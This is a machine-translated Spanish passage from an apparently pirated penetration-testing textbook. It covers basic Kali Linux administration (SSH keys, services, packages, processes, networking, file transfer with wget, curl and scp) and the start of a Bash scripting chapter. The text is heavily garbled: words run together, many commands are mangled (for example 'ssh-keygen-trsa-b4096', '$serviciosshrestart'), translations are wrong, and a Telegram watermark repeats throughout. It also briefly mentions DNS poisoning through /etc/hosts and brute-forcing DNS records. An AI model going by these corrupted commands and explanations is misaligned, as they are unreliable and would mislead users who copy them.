10.0.0.246 Primero, generaremos una clave pública y una clave privada en nuestro host cliente (Ubuntu). ¿Por qué? El objetivo es realizar los siguientes pasos: 1. Genere una clave privada ( /home/[nombre de usuario]/.ssh/ id_rsa ) en la máquina cliente porque es la que puede descifrar la clave pública. 2. Genere una clave pública ( /home/[nombre de usuario]/.ssh/ id_rsa.pub ) en la máquina cliente. Necesitamos enviar una copia de la clave pública al servidor. Después de eso, el servidor almacenará la clave pública del cliente en un archivo llamado claves_autorizadas . ¡Comencemos! En nuestro host Ubuntu cliente, genere las claves públicas y privadas (Figura 1.13): $ ssh-keygen-trsa-b4096 Canal de Telegram : @IRFaraExam Machine Translated by Google El comando anterior usaba dos argumentos: ÿTrsa : La t representa el tipo de clave a generar. RSA es la más uno común, pero también tiene otras opciones ( dsa y rsa ). , ed25519 , ed25519ÿsk , ecdsa , ecdsaÿsk , ÿb4096 : La opción b especifica el número de bits en la clave para crear. nuestro caso (clave RSA), el tamaño mínimo es 1024 bits y el valor predeterminado es 3072 pedacitos Tome nota de que mientras realizamos los pasos anteriores, se nos ha pedido que ingresemos una frase de contraseña. Esta contraseña se usará para agregar más seguridad cuando inicie sesión de forma remota a SSH. Figura 1.13 Generación de claves SSH Revisemos la carpeta donde se guardaron estos archivos en el host del cliente máquina( /home/gus/.ssh/ ): gus @ ubuntu: ~ / .ssh $ ls-la total16 drwx------2gusgus4096Oct110:03. drwxr-xr-x15gusgus4096Oct109:57.. -rw-------1gusgus3369Oct110:03id_rsa -rw-r--r--1gusgus736Oct110:03id_rsa.pub Canal de Telegram : @IRFaraExam Machine Translated by Google Ahora estamos listos para enviar una copia del archivo de clave pública id_rsa.pub a Kali máquina host. Puede enviarlo de varias maneras (por ejemplo, por correo electrónico, SFTP, SCP, etc.) Existe un método fácil y seguro con el paquete de cliente SSH que viene con la herramienta SSH: $ ssh-copy-idusername_on_kalihost@kaliIP En el siguiente ejemplo, usaremos el nombre de usuario raíz y la contraseña (también, usted se le pedirá la contraseña de esta cuenta) para copiar el archivo de clave pública: gus@ubuntu:~/[email protected] No se puede establecer la autenticidad del host '10.0.0.246(10.0.0.246)'. ECDSAla huella dactilar es SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U. ¿Está seguro de que desea continuar conectándose (sí/no/ [huella digital])? sí /usr/bin/ssh-copy-id:INFO:intentando iniciar sesión con la(s) clave(s) nueva(s), para filtrar cualquiera que ya esté instalada /usr/bin/ssh-copy-id:INFO:1clave(s)queda(n)instalada(s), si se le solicita que instale las claves nuevas Clave: Númerodellave(s)añadidas:1 Ahora intente iniciar sesión en la máquina con: "ssh'[email protected]'" y verifique para asegurarse de que solo se agregaron las claves que deseaba. Ahora, verifiquemos que la clave autorizada realmente se haya agregado en el host Kali máquina: root@kali:~/.ssh#catauthorized_keyssshrsaAAAAB3NzaC1yc2EAAAADAQABAAACAQDNfvP6zEnKn55pY5hN8N34myD1XwwhS9JisvcR0qtXzM2957 gus@ubuntu A continuación, editaré el archivo de configuración SSH ( /etc/ssh/sshd_config ) nuevamente en Kalito permitir solo autenticación de clave pública: PubkeyAuthenticationyes ContraseñaAutenticaciónno PROPINA Canal de Telegram : @IRFaraExam Machine Translated by Google Para asegurarse de que los cambios se propagan bien, es mejor reiniciar el servidor SSH en Kalius con este comando: $serviciosshrestart Es hora de probar la conexión SSH y ver si funciona de forma remota: gus@ubuntu:~/[email protected] Linuxkali5.5.0-kali1amd64#1SMPDebian5.5.13-2kali1(2020-04-03)x86_64 Los programas incluidos con el sistema Kali GNU/Linux son software libre; los términos de distribución exactos para cada programa se describen en los archivos individuales en /usr/share/ doc/*/copyright. KaliGNU/Linux viene CON ABSOLUTAMENTE NINGUNA GARANTÍA, en la medida permitida por la ley aplicable. Último inicio de sesión: jue oct 112: 04: 152020 de 10.0.0.222 root @ kali: ~ # Gestión del sistema KaliLinux Dado que usará Kali Linux como un arsenal de pruebas de penetración, entonces debe saber cómo manejar su sistema, incluido cómo iniciar un servidor web Apache o verificar su estado. Los ejemplos son interminables. Canal de Telegram : @IRFaraExam Machine Translated by Google Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.14 Comandos de administración del sistema Kali LinuxHostInformación Para mostrar el nombre de host de Kali Linux, simplemente ejecute el comando de nombre de host en su ventana de terminal: $nombre de host root@kali:/#nombre de host kali ¿Qué sucede si desea cambiar el nombre de su host Kali? Luego deberá editar su archivo de configuración /etc/hostname (ingrese el nombre de la computadora deseada y no se olvide de guardar y reiniciar su host). LinuxOSInformación Conocer la información del sistema operativo para un host Linux es crucial para la escalada de privilegios. Así es como desea saber la versión que se utiliza para completar la declaración de privacidad (queremos hablar sobre el capítulo 10). Para mostrar la información del sistema operativo de un sistema operativo Linux (que es Kali Linux en nuestro caso), utilizo el comando uname y, junto con él, muestro el contenido del archivo de configuración / etc/issue : $uname-a $gato/etc/problema root@kali:/#uname-a Linuxkali5.6.0kali2-amd64#1SMPDebian5.6.14-2kali1(2020-06-10)x86_64GNU/Linux root@kali:/#cat/etc/issue KaliGNU/ LinuxRolling\n\l LinuxHardwareInformación De vez en cuando, probablemente usará comandos especiales relacionados con el hardware de su PC o VM. Para obtener la información de la CPU de su servidor Linux, debe abrir /proc/cpuinfo : root@kali:/#cat/proc/cpuinfo Canal de Telegram : @IRFaraExam Machine Translated by Google :0 :GenuineIntel :6 :158 : Intel(R)Core(TM)i7-8700CPU a 3,20 GHz :10 procesadorproveedor_idcpufamiliamodelomodelonombrepaso a paso :0xd6 :3192.001 :12288KB microcódigocpuMHztamaño de caché[…] ParaobtenerlainformaciónRAMdesuhostKali,entoncesnecesitaráabrirla archivo de configuración /proc/meminfo : root@kali:/#cat/proc/meminfo MemTotal:8676820kB 6183876kB MemFree:MemDisponible:7781928kB Búferes: 55444kB En caché: 1739668kB Intercambio en caché: 0kB […] Para mostrar los dispositivos adjuntos (p. ej., unidades de disco, particiones, etc.), debe una elección de dos comandos: fdisk (que muestra más información) o lsblk : $ fdisk-l root@kali:/#fdisk-l Disco/dev/sda:80GiB,85899345920bytes,167772160sectores Modelo de disco:VMwareVirtualS Unidades: sectores de 1512 = 512*bytes Tamaño del sector (lógico/físico): 512 bytes/512 bytes I/Osize (mínimo/óptimo): 512 bytes/512 bytes Tipo de etiqueta de disco:dos Identificador de disco: 0x4a6f3195 Dispositivo Arranque/dev/sda1*/ dev/sda2/dev/sda5 Comienzo EndSectorsSizeIdType 204816357990316357785678G83Linux 16358195016777011141881622G5Extendido 16358195216777011141881602G82Linuxintercambiar/ Solaris $lsblk Canal de Telegram : @IRFaraExam Machine Translated by Google raíz@kali:/#lsblk NOMBRE MAYO: MINRMSIZEROTYPEMOUNTPOINT 080G0disco8:0 078G0parte/ 01K0parte 8:18:28:5 02G0parte[CAMBIAR] sdaÿsda1ÿsda2ÿsda5 sr0 11:0 11024M0rom Para mostrar la lista de dispositivos USB (p. ej., mouse, teclado, memoria USB, etc.), luego tiene que ejecutar el comando lsusb : $lsusb root@kali:/#lsusb Bus001Dispositivo001:ID1d6b:0002LinuxFoundation2.0roothub Bus002Device004:ID0e0f:0008VMware,Inc.VMwareVirtualUSB Ratón Bus002Device003:ID0e0f:0002VMware, Inc. VirtualUSBHub Bus002Device002:ID0e0f:0003VMware, Inc. Ratón virtual Bus002Dispositivo001:ID1d6b:0001LinuxFoundation1.1roothub Para mostrar todos los directorios montados en el sistema de archivos, deberá ejecutar el comando de montaje : $montar root@kali:/#montar sysfson/systypesysfs(rw,nosuid,nodev,noexec,relatime) procon/proctypeproc(rw,nosuid,nodev,noexec,relatime) udevon/ devtypedevtmpfs(rw,nosuid,noexec,relatime,size=4308020k,nr_inodes=1077005,mode=755) […] Gestión de los servicios de ejecución Los servicios son servidores que pueden ejecutarse en su Kali Linuxbox, como SSH, web, FTP, etc Una de las tareas comunes en las pruebas de penetración es un servidor web en su Kaliso, puede transferir archivos a las máquinas de sus víctimas (entraré en más detalles más adelante en este libro) después de obtener un shell remoto. Entonces, por ejemplo, para iniciar la web servidor en su Kali Linux (para su información, esa no es la única forma de iniciar un servicio, pero es mi favorito porque es fácil de memorizar): Canal de Telegram : @IRFaraExam Machine Translated by Google root@kali:/#serviceapache2start Estos son los comandos restantes que deberá conocer acerca de la administración de servicios: Para obtener el estado de un servicio (iniciado, detenido): $servicio[nombre del servicio]estado $systemctlstatus[nombre del servicio] Para iniciar un servicio: $servicio[nombre del servicio]inicio $systemctlstart[nombre del servicio] Servidor de servicio Tostopa: $servicio[nombre del servicio]stop $systemctlstop[nombre del servicio] Para reiniciar un servicio: $servicio[nombre del servicio]reiniciar $systemctlrestart[nombre del servicio] Para permitir que un servicio comience a arrancar automáticamente: $systemctlenable[servicename] Para deshabilitar un servicio para que no se inicie automáticamente en el arranque: $systemctldisable[servicename] Administración de paquetes Lo primero que debe saber antes de actualizar su sistema Kali Linux es que el archivo de configuración para el repositorio de Kali se encuentra en /etc/apt/sources.list : root@kali:/#cat/etc/apt/sources.list # #debcdrom:[KaliGNU/Linux2020.2rc1_Kali-last-snapshot_Officialamd64DVDBinary-1withfirmware20200505-14:58]/kali rollingcontribmainnon-free Canal de Telegram : @IRFaraExam Machine Translated by Google #debcdrom:[KaliGNU/Linux2020.2rc1_Kali-last-snapshot_Officialamd64DVDBinary-1withfirmware20200505-14:58]/kali rollingcontribmainnon-free debhttp: //http.kali.org/kalikali-rollingmainnon-freecontrib #deb-srchttp: //http.kali.org/kalikalirollingmainnon-freecontrib Para actualizar su sistema Kali Linux (como Windows Update), ejecute primero el comando de actualización y luego el comando de actualización . Tome nota, estos dos comandos utilizarán el archivo de configuración anterior para descargar e instalar los archivos necesarios: $aptupdate $aptupgrade-y Usamos la opción ÿy en el comando de actualización para ignorar las solicitudes donde se solicita la entrada de datos. En otras palabras, solo estamos diciendo "sí" por adelantado. ¿ Cuál es la diferencia entre los comandos de actualización y actualización ? Esa es una pregunta confusa para principiantes, y estoy aquí para ayudarlo a comenzar a usar estos dos comandos con confianza. En resumen, el comando de actualización solo actualiza la lista de paquetes con las versiones más recientes, pero no instala ni actualiza el paquete . Ahora, para usar estos comandos juntos, tendrá que usar el && intermedio, que eventualmente ejecutará el primer comando, y cuando termine, ejecutará el segundo: $aptupdate&&aptupgrade-y Para actualizar completamente de una versión a otra, ejecute el comando de actualización completa junto con el comando de actualización . $aptupdate&&aptfull-upgrade-y Ahora, para obtener una lista de todos los paquetes de software instalados en KaliLinux, deberá usar el comando dpkg : $dpkg-l ¿Qué pasa con la instalación de un nuevo software (paquete) en Kali? Hay dos formas comunes que utilizo la mayor parte del tiempo. La primera es el comando aptinstall y Canal de Telegram : @IRFaraExam Machine Translated by Google el segundo es dpkg (utilizo este último solo cuando descargo un archivo que termina con la extensión .deb ). $aptinstall[nombre del paquete]-y $dpkgi[nombre del archivo.deb] En algunos paquetes de software, requerirán que use la forma de instalación configure / make , si ese es el caso, luego use los siguientes comandos (debe estar dentro del directorio de la aplicación): $./configure&&make&&makeinstall Si desea eliminar una aplicación existente de su sistema Kali, use el comando aptremove : $aptremove[nombre del paquete] ¿Cómo encontramos un nombre de paquete? Digamos que desea instalar algo que aún no está instalado en Kali. Luego puede buscar los paquetes del repositorio usando el siguiente comando: $apt-cachesearchpalabra clave Finalmente, si desea instalar un paquete y no está seguro de si el nombre existe en el repositorio, entonces puede usar el comando aptÿcacheshow : $apt-cacheshow[nombre del software] root@kali:/#apt-cacheshowfilezilla Paquete:filezilla Versión:3.49.1-1 Tamaño instalado:6997 Mantenedor:AdrienCunin<[email protected]> Arquitectura:amd64 […] Gestión de proceso Una de mis herramientas de ventana de terminal favoritas para enumerar todos los procesos en ejecución en Kalii se llama htop . De manera predeterminada, no está instalada en Kali, así que para instalarla, usamos el comando aptinstall : root@kali:/#aptinstallhtop-y Leyendo listas de paquetes... Listo Canal de Telegram : @IRFaraExam Machine Translated by Google BuildingdependencytreeReadingstateinformation…Done Una vez que esté instalado, puede ejecutar el comando htop : $htop Como puede ver en la Figura 1.15, estamos ejecutando Nmapa en otra ventana de terminal y tiene un ID de proceso (PID) igual a 1338. Figura 1.15 HTOP Otra forma de obtener la lista de procesos actualmente en ejecución es mediante el comando ps : $ps-Au -A: Para seleccionar todos los procesos (si desea enumerar solo los procesos que pertenecen al usuario actual, use la opción -x en su lugar) -u: muestra más información (por ejemplo, CPU, MEM, etc.) que la salida predeterminada Para eliminar un proceso, primero deberá identificar su PID; luego, puede usar el comando de eliminación para realizar el trabajo: $matar[PID] Si el sistema no le permite matarlo, entonces debe forzarlo a cerrar usando el interruptor ÿ9 : $matar-9[PID] Redes en KaliLinux Canal de Telegram : @IRFaraExam Machine Translated by Google En esta sección, tendrá la oportunidad de comprender los conceptos básicos de las redes en Kali Linux. Más adelante en el libro volveremos a temas más avanzados relacionados con las redes, así que asegúrese de comprender y captar el contenido de esta sección. Figura 1.16 Comandos de red de Kali Interfaz de red Debe ser experto en redes para sobrevivir en la carrera de pruebas de penetración. Es uno de los pilares del trabajo si va a ejecutar pruebas de penetración de infraestructura de red. Los hosts de PC tienen direcciones IP internas para conectarse con la red, y tienen una dirección IP pública para comunicarse con el mundo exterior. Esta última es la misión de su enrutador doméstico, y usted no lo administra localmente en su host local. Por otro lado, debe mantener las direcciones IP de la red interna, que son estáticas (usted las define) o asignadas automáticamente por un servidor DHCP (que generalmente es su enrutador doméstico). Rangos de direcciones privadas IPv4 Las direcciones IP internas (también conocidas como direcciones IP privadas) para IPv4 tienen varios rangos: clases A, B y C. Clase A: 10.0.0.0 a 10.255.255.255 o 10.0.0.0 / 8 (hasta 16 777 214 hosts) Clase B: 172.16.0.0 a 172.31.255.255 o 172.16.0.0/12 (hasta 1 048 574 hosts) Clase C: 192.168.0.0 a 192.168.255.255 o 192.168.0.0/24 (hasta 254 hosts) El rango más grande es la clase A para corporaciones, pero puede usarlo en casa. (Nadie le impedirá hacer eso, ¿y adivine qué? Lo uso yo mismo en mi red doméstica). El segundo, clase B, es para pequeñas/medianas/grandes empresas (según la cantidad de hosts). Canal de Telegram : @IRFaraExam Machine Translated by Google Echemos un vistazo rápido a la dirección IP de Kalihost. nuestra interfaz de red, ejecute el popular comando ifconfig (tenga en cuenta que últimamente ha habido un cambio para usar el comando ipaddr en lugar de ifconfig ). De acuerdo con la Figura 1.17, tenemos dos interfaces de red. La primera en el arriba, red , es el adaptador Ethernet que conecta mi host Kali con el eth0 . Si tuviéramos un segundo adaptador Ethernet, sería eth1 . (Tenga en cuenta que , wlan1 , si está utilizando un adaptador inalámbrico en su host, verá wlan0 , etc.) Figura 1.17 Interfaces de KaliNetwork . Hay dos hechos importantes que debe comprender acerca de nuestro adaptador Ethernet eth0 Primero, inet10.0.0.246 representa la dirección IP del host Kali que se asignó automáticamente por el servidor DHCP. La segunda parte es la máscara de red, lo que significa que estamos usando una subred/24; en otras palabras, solo necesitamos 254 hosts para estar asignado en este rango de IP. La segunda interfaz es para , que representa un bucle invertido local; nunca tocar esto ya que la infraestructura de red necesitará editar para operar correctamente. Hay otras dos interfaces comunes con las que se encontrará; la primera es la interfaz inalámbrica si está conectado de forma inalámbrica en lugar del cable. la segunda es la interfaz VPN, si está conectado a un servidor VPN remoto. Direccionamiento IP estático Si desea asignar una dirección IP fija a su host Kali, deberá editar Canal de Telegram : @IRFaraExam Machine Translated by Google el archivo de configuración /etc/network/interfaces . En las siguientes novedades configuration, que se muestra en la Figura 1.18, agrega estos tres componentes principales: Dirección IP estática (va a ser 10.0.0.20 en mi caso; en su caso, tiene que coincidir con su rango de direcciones IP privadas) Máscara de subred o CIDR (/ 24 significa 255.255.255.0) Dirección IP del enrutador/puerta de enlace (mi dirección IP del enrutador es 10.0.0.1; la suya podría ser diferente) Figura 1.18 Configuraciones IP estáticas Después de guardar los cambios, asegúrese de reiniciar su máquina Kali para que esta nueva dirección IP fija esté en funcionamiento. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.19 Prueba de conexión a Internet Tome nota de que estamos utilizando la red 10.0.0.0 como nuestra VLAN principal (red virtual). De hecho, tenemos varias VLAN en nuestra red doméstica. Por ejemplo, tenemos una VLAN para dispositivos IoT, pero ¿por qué? Otro ejemplo es la VLAN de invitados. Esta red es para las personas que se conectan al punto de acceso inalámbrico de invitados y se les asignará en el rango de direcciones 10.0.20.0. Las empresas implementan el mismo concepto. Idealmente, tienen un entorno de desarrollo que es diferente a la red VLAN del entorno de producción. DNS El Sistema de nombres de dominio (DNS) traduce los nombres de dominio en direcciones IP. Por ejemplo, en lugar de escribir https://172.217.13.132 , simplemente escriba https:// google.com. La pregunta es, ¿cómo llegué a la dirección IP? Use el comando host en su ventana de terminal : Canal de Telegram : @IRFaraExam Machine Translated by Google $host[nombre de dominio] root@kali:/#hostgoogle.com google.comhasaddress172.217.13.174 google.comhasIPv6address2607:f8b0:4020:806::200e google.commailishandledby40alt3.aspmx.l.google.com. google.commailishandledby30alt2.aspmx.l.google.com. google.commailishandledby10aspmx.l.google.com. google.commailishandledby50alt4.aspmx.l.google.com. google.commailishandledby20alt1.aspmx.l.google.com. El DNS se divide en dos categorías: público y privado (como las direcciones IP). La dirección DNS de Google es pública para que cualquier persona conectada a Internet pueda acceder al sitio web de Google. Por otro lado, podemos tener un DNS privado para nuestra intranet local. Esto se puede configurar usando un servidor DNS (por ejemplo, Microsoft Windows Server) o su enrutador tiene un servidor DNS integrado. . ksec.local corresponde a su dirección IP. Por ejemplo, el nombre de dominio de mi servidor de archivos es ds- server.ksec.local (porque el nombre de host del servidor es ds-server ), y el enrutador/servidor DNS administrará todos los registros DNS (se asigna un registro entre direcciones IPv4 y nombres de dominio): root@kali:~#hostds-server.ksec.local dsserver.ksec.localhasaddress10.0.0.177 Si especifica un registro DNS existente, recibirá un mensaje de error (esto es útil para aplicar fuerza bruta a los registros DNS): root@kali:~#hosthello.ksec.local Hosthello.ksec.localnotfound:3(NXDOMAIN) Tenga en cuenta que puede obtener sus propios registros DNS estáticos dentro de su Kalihost. El archivo está ubicado en /etc/hosts , y aquí puede redirigir cualquier nombre de dominio a cualquier dirección IP activa. (Esto demuestra que el envenenamiento de DNS funciona; el pirata informático manipulará los registros para apuntar a la dirección IP de su servidor). root@kali:~#cat/etc/hosts localhost 127.0.0.1127.0.1.1kali #LassiguienteslíneassondeseablesparahostsconcapacidadIPv6localhostip6::1 localhostip6-loopback ff02::1ip6-todos los nodos Canal de Telegram : @IRFaraExam Machine Translated by Google ff02::2ip6-todos los enrutadores Aprenderá más sobre este tema más adelante en este libro, y aprenderá cómo La fuerza bruta DNS y las transferencias de zona funcionan. Conexiones establecidas Para mostrar las conexiones de red activas en su host Kali, debe usar el herramienta de comando netstat para hacer el trabajo. fase posterior a la explotación para comprobar cómo el host Linux se comunica con su la red. En nuestro host Kali, hemos iniciado el SSH (puerto 22) y la web (puerto 80) servicios; la herramienta netstat nos permitirá verlos escuchando conexiones: root@kali:~#netstat-antu Conexiones a Internet activas (servidores y establecidas) ProtoRecv-QSend-QLocalAddressForeignAddressState0.0.0.0: * tcpLISTENtcp6 ::: * LISTENtcp6 ::: * LISTENudp10.0.0.1: 67 0000 00.0.0.0:220:::800:::22010.0.0.185:68 ESTABLECIDO Es fundamental entender lo que significa cada opción: ÿa/ÿÿall :Muestratodaslastomas.Tengaencuentaqueestaopciónesmuy detallado; por lo tanto, necesitamos combinarlo con las siguientes opciones (para filtrar el producción). ÿn/ÿÿ numeric :No resolver nombres. En el comando anterior, vio que la dirección IP es seguida por el número de puerto. Si no utilizo el ÿn opción, entonces la herramienta intentará averiguar el nombre del servicio (por ejemplo, para 80, será HTTP en su lugar). ÿt/ÿÿtcp :Mostrar conexiones TCP. ÿu/ÿÿudp :Mostrar conexiones UDP. Transferencias de archivos Hay muchas maneras de transferir archivos en Kali Linux. Primero, para descargar archivos desde Internet/intranet, tiene dos herramientas en su arsenal: wget y curl el siguiente ejemplo, . En usamos ambas herramientas para descargar un archivo de texto de contraseña Canal de Telegram : @IRFaraExam Machine Translated by Google deunodemisservidoresweblocales: $wget[URL] root@kali:~#wgethttp://ubuntu.ksec.local/passwords.txt --2020-10-0113:32:02-http://ubuntu.ksec.local/passwords.txt Resolviendo ubuntu.ksec.local(ubuntu.ksec.local)… 10.0.0.186 Conectando aubuntu.ksec.local(ubuntu.ksec.local)|10.0.0.186|:80…conectado. Solicitud HTTP enviada, esperando respuesta… 200OK Longitud: 0 [texto/sin formato] Guardando en: 'contraseñas.txt.1' contraseñas.txt.1[<=>]0--.-KB/sin0s 2020-10-0113:32:02(0.00B/s)-'contraseñas.txt.1'guardado[0/0] $curl-O[URL] root@kali:~#curl-Ohttp://ubuntu. ksec.local/passwords.txt %Total%Received%XferdAverageSpeedTimeTimeTimeCurrent DloadSubirTotalGastadoIzquierdaVelocidad 100321003200160000--:--:----:--:----:--:--16000 PROPINA Si desea descargar archivos desde GitHub, puede usar el comando git : $gitclone[gitprojectURL] Otra forma de transferir archivos de forma segura utilizando el protocolo SSH es la herramienta de comando scp . Es importante comprender que necesitará el servicio SSH para iniciarse correctamente para que este proceso funcione correctamente. Primero, iniciaremos el servidor SSH en un host remoto de Ubuntu Linux, y aquí es donde va a descargar mis archivos. (De forma predeterminada, el servidor SSH no está instalado en Ubuntu. Para hacer el trabajo, ejecute el comando $sudoaptinstall abre el servidor sh ) . gus@ubuntu:~$ls Vídeos EscritorioDescargascontraseñas.txtPúblicoDocumentosMúsicaImágenesPlantillas Canal de Telegram : @IRFaraExam Machine Translated by Google Para terminar el trabajo de descargar el archivo, use el comando scp con el patrón siguiente (el punto al final significa que estamos copiando el archivo a nuestro directorio actual en Kali): $scp[nombre-de-usuario-remoto@ip-remota:/ruta-remota][rutalocaldestino] root@kali:~#[email protected]:/home/gus/passwords.txt. contraseña de [email protected]:contraseñas.txt 100%1716.7KB/s00:00 A continuación, intentaremos insertar un archivo llamado test.txt desde mi KalitotheremoteSSH servidor (copiaremos el archivo en el directorio de inicio del usuario en Ubuntu) usando el comando scp de nuevo: $scp[filelocalpath][remote-username@remote-ip:/remote-path] root@kali:~#scp/root/[email protected]:/home/gus contraseña de [email protected]:test.txt 50.4KB/s00:00100% Más adelante en este libro, verá aún más formas de transferir archivos como Samba, FTP, etc. Por el momento, acaba de aprender las formas más comunes en las que necesita ser consciente de. Resumen Con tantos comandos robados para aprender en este capítulo, es abrumador, ¿verdad? El secreto de dominar el uso de las ventanas terminales es a través de la práctica. tomar un tiempo para familiarizarse con la ventana de la terminal, pero una vez que está dentro, usted se enamorará de ella. Su papel se centra en las pruebas de penetración y el objetivo de este capítulo es facilitarle el manejo del sistema KaliLinux. Este capítulo presenta las herramientas y los comandos necesarios que encontrará durante una compromiso. Al final, usted no es un administrador del sistema Linux, pero está en ciberseguridad, tendrá que pensar fuera de la caja. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPITULO 2 BashScripting En el capítulo anterior, aprendió muchos comandos en Linux. Ahora, llevemos sus habilidades al siguiente nivel en las herramientas de línea de comandos. ¿Por qué Bashscripting? La universalidad de Bash nos brinda, a los probadores de penetración, la flexibilidad de ejecutar comandos de terminal potentes sin la necesidad de instalar un compilador o un entorno de desarrollo integrado (IDE). ¿Cuándo debe usar Bashscripts? ¡Esa es una pregunta importante que debe abordar antes de comenzar este capítulo! Basis no está diseñado para desarrollar herramientas sofisticadas. Este capítulo no sólo le enseñará el lenguaje de secuencias de comandos Bash, sino que irá más allá para mostrarle también la ideología de la programación. Si es nuevo en la programación, este es un buen punto de partida para comprender cómo funcionan los lenguajes de programación (comparten muchas similitudes). Esto es lo que aprenderá en este capítulo: Imprimiendo en la pantalla usando Bash Usandovariables Uso de parámetros de secuencia de comandos Entrada de usuario de acción Creación de funciones Uso de sentencias if condicionales Uso de bucles while y for BasicBashScripting Canal de Telegram : @IRFaraExam Machine Translated by Google La figura 2.1 resume todos los comandos, por lo que puede usar una referencia para comprender todo el contenido de este capítulo. En resumen, el scripting básico de Bash se divide en las siguientes categorías: Variables Funciones Entrada del usuario Salida de secuencia de comandos Parámetros Impresión en la pantalla en Bash Hay dos formas comunes de escribir en la salida de la línea de comando del terminal usando Bashscripting . El primer método simple es usar el comando echo que vimos en el capítulo anterior (incluimos el valor de texto entre comillas simples o dobles): $echo'mensaje para imprimir.' El segundo método es el comando printf ; este comando es más flexible que el comando echo porque le permite formatear la cadena que desea imprimir: $printf'mensajeparaimprimir' La fórmula anterior está demasiado simplificada; de hecho, printf también le permite formatear cadenas (no solo para imprimir; es más que eso). Veamos un ejemplo: si queremos mostrar el número de hosts activos en una red, podemos usar el siguiente patrón: root@kali:~#printf"%s%d\n""Número de servidores activos:"15 Número de hosts en vivo: 15 Canal de Telegram : @IRFaraExam Machine Translated by Google Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 2.1 BashScripting Dividamosloscomandosparaquepuedacomprenderloqueestá pasando: %s :Significa que estamos insertando una cadena (texto) en esta posición %d : Significa que estamos leyendo un (número) decimal en esta posición \n :Significa que queremos ir a una nueva línea cuando termine la impresión. Además, tome nota de que estamos usando comillas dobles en lugar de comillas simples. Las comillas dobles nos permitirán ser más flexibles con la manipulación de cadenas que las comillas simples. Para formatear una cadena con el comando printf , puede usar los siguientes patrones: %s :Cadena(textos) %d :Decimal(números) %f : coma flotante (incluidos los números con signo) %x : hexadecimal \n :Nueva línea \r :Retorno del carro \t :Horizontaltab Variables ¿Qué es una variable y por qué todos los lenguajes de programación la usan de todos modos? Considere la variable como un área de almacenamiento donde puede guardar cosas como cadenas y números. El objetivo es usarlos una y otra vez en su programa, y este concepto se aplica a cualquier lenguaje de programación (no solo a Bashscripting). Para declarar una variable, le asigna un nombre y un valor (el valor es una cadena de forma predeterminada). El nombre de la variable solo puede contener un carácter alfabético o un guión bajo (otros lenguajes de programación usan una convención de nomenclatura diferente). Por ejemplo, si desea almacenar la dirección IP del enrutador en una variable, primero creará un archivo var.sh (los archivos Bashscript terminarán en .sh ), y dentro del archivo, ingresará lo siguiente: Canal de Telegram : @IRFaraExam Machine Translated by Google #!/bin/bash #Programa simple con una variable ROUTERIP="10.0.0.1" printf"LadirecciónIPdelrouter:$ROUTERIP\n" Expliquemos su primer archivo Bashscript: #!/bin/bash se llama Bashshebang ; necesitamos incluirlo en la parte superior para decirle a KaliLinux qué intérprete usar para analizar el archivo de script (usaremos el mismo concepto en el Capítulo 18 , "Automatización de Pentest con Python", con el lenguaje de programación Python). El # se usa en la segunda línea para indicar que es un comentario (un comentario es una directiva que el creador dejará dentro del código fuente/script para una referencia posterior). El nombre de la variable se llama ROUTERIP , y su valor es 10.0.0.1. Finalmente, estamos imprimiendo el valor en la pantalla de salida usando la función printf . Para ejecutarlo, asegúrese de otorgarle los permisos correctos primero (consulte el siguiente resultado para ver qué sucede si no lo hace). Dado que estamos dentro del mismo directorio ( /root ), usaremos ./var.sh para ejecutarlo: root @ kali: ~ #. / var.sh bash: ./ var.sh: Permiso denegado root @ kali: ~ # chmod + xvar.sh root @ kali: ~ #. / var.sh TherouterIPaddress: 10.0.0.1 ¡Felicitaciones, acaba de crear su primer script de Bash! Digamos que queremos que este script se ejecute automáticamente sin especificar su ruta en ninguna parte del sistema . Todo eso, debemos agregarlo a la variable $ PATH. En nuestro caso, agregaremos / optaremos por las variables $ PATH para que podamos guardar nuestros scripts personalizados en este directorio . Primero, abra el archivo .bashrc usando cualquier editor de texto. Una vez que el archivo esté cargado, desplácese hasta la parte inferior y agregue la línea resaltada en la Figura 2.2 . Figura 2.2 ExportConfig Canal de Telegram : @IRFaraExam Machine Translated by Google Los cambios agregarán /opt a la variable $PATH . En esta etapa, guarde el archivo y cierre todas las sesiones de la terminal. Vuelva a abrir la ventana de la terminal y copie el archivo de secuencia de comandos en la carpeta / opt . root @ kali: ~ # cpvar.sh / opt / root kali: # cd / opt root @ kali: / opt # ls-la | grep "var.sh" -rwxr-xr-x1rootrootroot @ kali: / opt#var.sh TherouterIPAddress: 10.0.0.1 110Sep2811:24var.sh ComandosVariable A veces, es posible que desee ejecutar comandos y guardar su salida en una variable. La mayoría de las veces, el objetivo detrás de esto es manipular el contenido de la salida del comando. Aquí hay un comando simple que ejecuta el comando ls y filtra los nombres de archivo que contienen la palabra simple usando el comando grep . #!/bin/bash LS_CMD=$(ls|grep'simple') printf"$LS_CMD\n" Estos son los resultados de la ejecución del script: root@kali:/opt#simplels.sh simpleadd.sh simplels.sh Parámetros de secuencia de comandos A veces, necesitará proporcionar parámetros a su script Bash. Tendrá que separar cada parámetro con un espacio, y luego podrá manipular esos parámetros dentro del script Bash. Vamos a crear una calculadora simple ( simpleadd.sh ) que suma dos números: #!/bin/bash #Calculadora simple que suma 2 números Canal de Telegram : @IRFaraExam Machine Translated by Google # Almacenarelprimerparámetroinnum1variable NÚM1=$1 # Almacenarelsegundoparámetroinnum2variable NÚM2=$2 #Almacenarlosresultadosadicionalesenlavariabletotal TOTAL=$(($NUM1+$NUM2)) echo'#######################' printf"%s%d\n""Thetotalis="$TOTAL echo'###### ##################' Puede ver en la secuencia de comandos anterior que accedimos al primer parámetro usando la sintaxis de $1 y al segundo parámetro usando $2 (puede agregar tantos parámetros como desee). Agreguemos dos números usando nuestro nuevo archivo de secuencia de comandos (tome nota de que estoy almacenando mis secuencias de comandos en la carpeta opt a partir de ahora): root@kali:/opt#simpleadd.sh52 ####################### El total es=7 ############# ########### Existe una limitación en el script anterior; solo puede agregar dos números. ¿Qué sucede si desea tener la flexibilidad para agregar de dos a cinco números? En este caso, podemos usar la funcionalidad de parámetro predeterminada. #!/bin/bash #Calculadora simple que suma hasta 5 números # Almacenarelprimerparámetroinnum1variable NÚM1=${1:-0} # Almacenarelsegundoparámetroinnum2variable NÚM2=${2:-0} # Almacenareltercerparámetroinnum3variable 